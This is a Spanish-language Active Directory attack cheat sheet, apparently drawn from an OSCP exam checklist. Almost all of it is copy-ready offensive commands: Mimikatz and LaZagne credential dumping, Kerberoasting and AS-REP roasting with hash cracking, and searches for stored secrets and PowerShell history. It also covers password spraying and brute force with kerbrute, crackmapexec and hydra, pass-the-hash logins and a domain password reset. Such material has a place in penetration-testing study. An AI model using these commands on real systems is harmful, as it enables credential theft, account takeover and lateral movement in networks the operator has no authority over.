Active Directory

Recursos

Escaneo inicial

  • Escaneo de puertos conocidos a lista de hosts: nmap -sT 21,22,23,25,53,80,88,135,161,389,445,8000,8080,3389,5985,3306,3307,1433,5432 -iL hosts.txt

Recopilación de información

Desde máquina Windows comprometida

01. Obtener Usuarios y Grupos

  • ¿Qué usuarios pertenecen a grupos que permiten administración remota? (RDP, WinRM)

Con net:

  • net user /domain

  • net user <username> /domain

  • net group /domain

  • net group <groupname> /domain

PowerView:

Identificar objetos en Active Directory sobre los cuales el usuario tiene control total (GenericAll) y puede realizar acciones administrativas

  • Get-ObjectAcl -Identity "xerosec" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

  • "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID

    • net user usuario nuevacontraseña /domain

Usuarios Kerberoastables

  • Get-NetUser -Domain msp.local | Where-Object {$_.servicePrincipalName} | select name, samaccountname, serviceprincipalname

Máquinas en el dominio

  • Get-NetComputer -Properties samaccountname, samaccounttype, operatingsystem

Lista grupos

  • Get-NetGroup -Domain internal.msp.local | select name

Miembros de un grupo

  • Get-DomainGroupMember "Domain Admins" -Recurse

Desde la máquina de atacante

SMB

Con credenciales:

  • cme smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --users

  • crackmapexec smb $IP -u 'user' -p 'PASS' --rid-brute

  • crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --groups

  • crackmapexec smb $IP -u 'user' -p 'PASS' --local-users

  • crackmapexec smb $IP -u 'Administrator' -p 'PASS' --local-auth --sam

LDAP

Con credenciales:

ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'

RPC

Sin credenciales:

rpcclient -U "" -N $IP

Con credenciales:

rpcclient -U "dominino.tld/usuario%contraseña" $IP


02. Búsqueda de contraseñas

Desde máquina Windows comprometida

Cheatsheet de Mimikatz

Requiere permisos de administrador

  • privilege::debug token::elevate

  • sekurlsa::logonpasswords

    • ekeys credman wdigest

  • lsadump::sam

    • secrets

  • .\\\\mimikatz.exe "token::elevate" "lsadump::secrets" exit

Lazagne (Mimikatz en esteróides)

  • lazagne.exe all

Rubeus

Requiere permisos de administrador

Kerberoasting

  • .\\\\Rubeus.exe kerberoast /outfile:hashes.kerberoast

  • sudo hashcat -m 13100 hashes.kerb /usr/share/wordlists/rockyou.txt --force

AS-REP Roasting

  • .\\\\Rubeus.exe asreproast /nowrap

  • sudo hashcat -m 18200 hashes.asrep /usr/share/wordlists/rockyou.txt --force

Credenciales almacenadas

Archivos de bases de datos

  • Get-ChildItem -Path C:\\\\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

  • keepass2john Database.kdbx > Keepasshash.txt

  • john --wordlist=/usr/share/wordlists/rockyou.txt Keepasshash.txt

  • Mover el archivo a ~/keepass y abrirlo con herramientas como kpcli

Historial de Powershell

  • Get-History

  • (Get-PSReadlineOption).HistorySavePath

  • type %userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt (Ejecutar para cada usuario)

Archivos interesantes

  • cmdkey /list

  • En el directorios “Users”: Get-ChildItem -Path C:\\\\Users\\\\ -Include *.txt,*.log,*.xml,*.ini -File -Recurse -ErrorAction SilentlyContinue

  • Desde la raíz: Get-ChildItem -Path C:\\\\ -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

  • sysprep.* unattend.*

  • Group Policies gpp-decrypt <hash>

Desde la máquina de atacante

Bloodhound

  • bloodhound-python -u usuario -p 'contraseña' -d dominio.tld -ns IP_DC -c All

  • Importar lo archivos extraídos a Bloodhound

LDAP

  • ldapsearch -x -H ldap://$IP -D 'dominio\\\\usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'

  • ldapsearch -x -H ldap://$IP -D 'usuario' -w 'contraseña' -b 'DC=DOMINIO,DC=TLD'

SMB

  • crackmapexec smb $IP -u 'user' -p 'PASS' -d 'dominio.tld' --shares

  • crackmapexec smb $IP -u 'user' -p 'PASS' --local-auth --shares

  • crackmapexec smb $IP -u 'user' -p 'PASS' --sessions

  • crackmapexec smb $IP -u 'user' -p 'PASS' --lusers

SNMP

  • sudo nmap -sU -p 161 --script snmp-brute $IP

  • sudo nmap -sU -p 161 --script snmp-win32-users $IP

  • onesixtyone -c /usr/share/doc/onesixtyone/dict.txt $IP

  • snmpwalk -v 1 -c public $IP NET-SNMP-EXTEND-MIB::nsExtendObjects

  • snmpwalk -v2c -c public $IP | grep <string>

Impacket

Kerberoasting

  • impacket-GetUserSPNs dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile hashes.kerb

AS-REP Roasting

  • impacket-GetNPUsers dominio.tld/usuario:'contraseña' -dc-ip $IP -outputfile dave.hash


03. Recopilación de información obtenida

  • Crear una lista de usuarios

    • Asegurarse de diferenciar usuarios "locales" y usuarios de "dominio"

  • Crear una lista de hashes y contraseñas o cualquier cosa que pueda ser una contraseña

    • domain_hashes.txt

    • domain_passwords.txt

  • Verificar la política de contraseñas para asegurarse de no bloquear cuentas

    • Desde máquina Windows comprometida: net accounts /domain

    • Desde máquina atacante: cme smb 172.16.10.10 --pass-pol (Puede que necesite credenciales válidas)


Fuerza bruta de credenciales

Kerberos

Password Spray

  • kerbrute passwordspray -d dominio.tld users.txt password --dc IP_DC -vvv

Fuerza bruta

  • kerbrute bruteuser -d dominio.tld usuario passwords.txt --dc IP_DC -vvv

SMB

  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt -d dominio.tld --continue-on-success

  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success

  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -H '<HASH>' --continue-on-success

  • crackmapexec smb <IP>(o lista de IPs) -u users.txt -p passwords.txt --continue-on-success --local-auth

RDP

  • hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt rdp://<IP>:3389 -u -vV -T 40 -I

  • hydra -V -f -L users.txt -P passwords.txt rdp://<IP> -u -vV -T 40 -I

WinRM

  • evil-winrm -i <IP> -u usuario -p 'contraseña'

  • evil-winrm -i <IP> -u usuario -H '<HASH>'

FTP

  • hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt <ftp://<IP>:21> -u -vV -T 40 -I

SSH

  • hydra -V -f -l usuario -P /usr/share/wordlists/rockyou.txt ssh://<IP>:22 -u -vV -T 40 -I

⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯⎯

Fuente original: https://github.com/intotheewild/OSCP-Checklist

📝 LinkedIn ⮞ https://www.linkedin.com/in/david-rodriguez-ramos/ ▶️ YouTube ⮞ https://www.youtube.com/c/xerosec 🐦 Twitter ⮞ https://twitter.com/xerosec 🔴 Twitch ⮞ https://www.twitch.tv/xerosec 💬 Discord ⮞ https://discord.gg/E4AjK2XsFm

Última actualización